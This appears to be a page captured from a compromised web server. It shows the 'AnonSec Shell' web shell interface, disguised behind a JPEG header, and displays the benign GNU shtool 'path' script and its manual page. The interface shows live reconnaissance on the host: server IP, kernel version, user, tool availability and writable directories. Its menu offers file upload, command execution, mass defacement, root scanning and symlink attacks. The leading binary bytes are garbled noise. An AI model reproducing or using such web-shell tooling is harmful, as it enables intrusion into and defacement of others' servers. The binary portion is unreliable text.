JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/shtool/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/shtool/sh.path
##
##  path -- Deal with program paths
##  Copyright (c) 1998-2008 Ralf S. Engelschall <rse@engelschall.com>
##
##  This file is part of shtool and free software; you can redistribute
##  it and/or modify it under the terms of the GNU General Public
##  License as published by the Free Software Foundation; either version
##  2 of the License, or (at your option) any later version.
##
##  This file is distributed in the hope that it will be useful,
##  but WITHOUT ANY WARRANTY; without even the implied warranty of
##  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
##  General Public License for more details.
##
##  You should have received a copy of the GNU General Public License
##  along with this program; if not, write to the Free Software
##  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
##  USA, or contact Ralf S. Engelschall <rse@engelschall.com>.
##

str_tool="path"
str_usage="[-s|--suppress] [-r|--reverse] [-d|--dirname] [-b|--basename] [-m|--magic] [-p|--path <path>] <str> [<str> ...]"
gen_tmpfile=yes
arg_spec="1+"
opt_spec="s.r.d.b.m.p:"
opt_alias="s:suppress,r:reverse,d:dirname,b:basename,m:magic,p:path"
opt_s=no
opt_r=no
opt_d=no
opt_b=no
opt_m=no
opt_p="$PATH"

. ./sh.common

namelist="$*"

#   check whether the test command supports the -x option
if [ -x /bin/sh ] 2>/dev/null; then
    minusx="-x"
else
    minusx="-r"
fi

#   split path string
paths="`echo $opt_p |\
        sed -e 's/^:/.:/' \
            -e 's/::/:.:/g' \
            -e 's/:$/:./' \
            -e 's/:/ /g'`"

#   SPECIAL REQUEST
#   translate forward to reverse path
if [ ".$opt_r" = .yes ]; then
    if [ "x$namelist" = "x." ]; then
        rp='.'
    else
        rp=''
        for pe in `IFS="$IFS/"; echo $namelist`; do
            rp="../$rp"
        done
    fi
    echo $rp | sed -e 's:/$::'
    shtool_exit 0
fi

#   SPECIAL REQUEST
#   strip out directory or base name
if [ ".$opt_d" = .yes ]; then
    echo "$namelist" |\
    sed -e 's;[^/]*$;;' -e 's;\(.\)/$;\1;'
    shtool_exit 0
fi
if [ ".$opt_b" = .yes ]; then
    echo "$namelist" |\
    sed -e 's;.*/\([^/]*\)$;\1;'
    shtool_exit 0
fi

#   MAGIC SITUATION
#   Perl Interpreter (perl)
if [ ".$opt_m" = .yes ] && [ ".$namelist" = .perl ]; then
    rm -f $tmpfile >/dev/null 2>&1
    touch $tmpfile
    found=0
    pc=99
    for dir in $paths; do
        dir=`echo $dir | sed -e 's;/*$;;'`
        nc=99
        for name in perl perl5 miniperl; do
             if [ $minusx "$dir/$name" ] && [ ! -d "$dir/$name" ]; then
                 perl="$dir/$name"
                 pv=`$perl -e 'printf("%.3f", $]);'`
                 echo "$pv:$pc:$nc:$perl" >>$tmpfile
                 found=1
             fi
             nc=`expr $nc - 1`
        done
        pc=`expr $pc - 1`
    done
    if [ $found = 1 ]; then
        perl="`cat $tmpfile | sort -r -u | sed -e 'q' | cut -d: -f4`"
        rm -f $tmpfile >/dev/null 2>&1
        echo "$perl"
        shtool_exit 0
    fi
    rm -f $tmpfile >/dev/null 2>&1
    shtool_exit 1
fi

#   MAGIC SITUATION
#   C pre-processor (cpp)
if [ ".$opt_m" = .yes ] && [ ".$namelist" = .cpp ]; then
    echo >$tmpfile.c "#include <assert.h>"
    echo >>$tmpfile.c "Syntax Error"
    #   1. try the standard cc -E approach
    cpp="${CC-cc} -E"
    (eval "$cpp $tmpfile.c >/dev/null") 2>$tmpfile.out
    my_error=`grep -v '^ *+' $tmpfile.out`
    if [ ".$my_error" != . ]; then
        #   2. try the cc -E approach and GCC's -traditional-ccp option
        cpp="${CC-cc} -E -traditional-cpp"
        (eval "$cpp $tmpfile.c >/dev/null") 2>$tmpfile.out
        my_error=`grep -v '^ *+' $tmpfile.out`
        if [ ".$my_error" != . ]; then
            #   3. try a standalone cpp command in path and lib dirs
            for path in $paths /lib /usr/lib /usr/local/lib; do
                path=`echo $path | sed -e 's;/*$;;'`
                if [ $minusx "$path/cpp" ] && [ ! -d "$path/cpp" ]; then
                    cpp="$path/cpp"
                    break
                fi
            done
            if [ ".$cpp" != . ]; then
                (eval "$cpp $tmpfile.c >/dev/null") 2>$tmpfile.out
                my_error=`grep -v '^ *+' $tmpfile.out`
                if [ ".$my_error" != . ]; then
                    #   ok, we gave up...
                    cpp=''
                fi
            fi
        fi
    fi
    rm -f $tmpfile >/dev/null 2>&1
    rm -f $tmpfile.c $tmpfile.out >/dev/null 2>&1
    if [ ".$cpp" != . ]; then
        echo "$cpp"
        shtool_exit 0
    fi
    shtool_exit 1
fi

#   STANDARD SITUATION
#   iterate over names
for name in $namelist; do
    #   iterate over paths
    for path in $paths; do
        path=`echo $path | sed -e 's;/*$;;'`
        if [ $minusx "$path/$name" ] && [ ! -d "$path/$name" ]; then
            if [ ".$opt_s" != .yes ]; then
                echo "$path/$name"
            fi
            shtool_exit 0
        fi
    done
done

shtool_exit 1

##
##  manual page
##

=pod

=head1 NAME

B<shtool-path> - B<GNU shtool> command dealing with shell path variables

=head1 SYNOPSIS

B<shtool path>
[B<-s>|B<--suppress>]
[B<-r>|B<--reverse>]
[B<-d>|B<--dirname>]
[B<-b>|B<--basename>]
[B<-m>|B<--magic>]
[B<-p>|B<--path> I<path>]
I<str> [I<str> ...]

=head1 DESCRIPTION

This command deals with shell C<$PATH> variables. It can find a program
through one or more filenames given by one or more I<str> arguments.
It prints the absolute filesystem path to the program displayed on
C<stdout> plus an exit code of 0 if it was really found.

=head1 OPTIONS

The following command line options are available.

=over 4

=item B<-s>, B<--suppress>

Supress output. Useful to only test whether a program exists with the
help of the return code.

=item B<-r>, B<--reverse>

Transform a forward path to a subdirectory into a reverse path.

=item B<-d>, B<--dirname>

Output the directory name of I<str>.

=item B<-b>, B<--basename>

Output the base name of I<str>.

=item B<-m>, B<--magic>

Enable advanced magic search for "C<perl>" and "C<cpp>".

=item B<-p>, B<--path> I<path>

Search in I<path>. Default is to search in $PATH.

=back

=head1 EXAMPLE

 #   shell script
 awk=`shtool path -p "${PATH}:." gawk nawk awk`
 perl=`shtool path -m perl`
 cpp=`shtool path -m cpp`
 revpath=`shtool path -r path/to/subdir`

=head1 HISTORY

The B<GNU shtool> B<path> command was originally written by Ralf S.
Engelschall E<lt>rse@engelschall.comE<gt> in 1998 for B<Apache>. It was
later taken over into B<GNU shtool>.

=head1 SEE ALSO

shtool(1), which(1).

=cut


Anon7 - 2022
AnonSec Team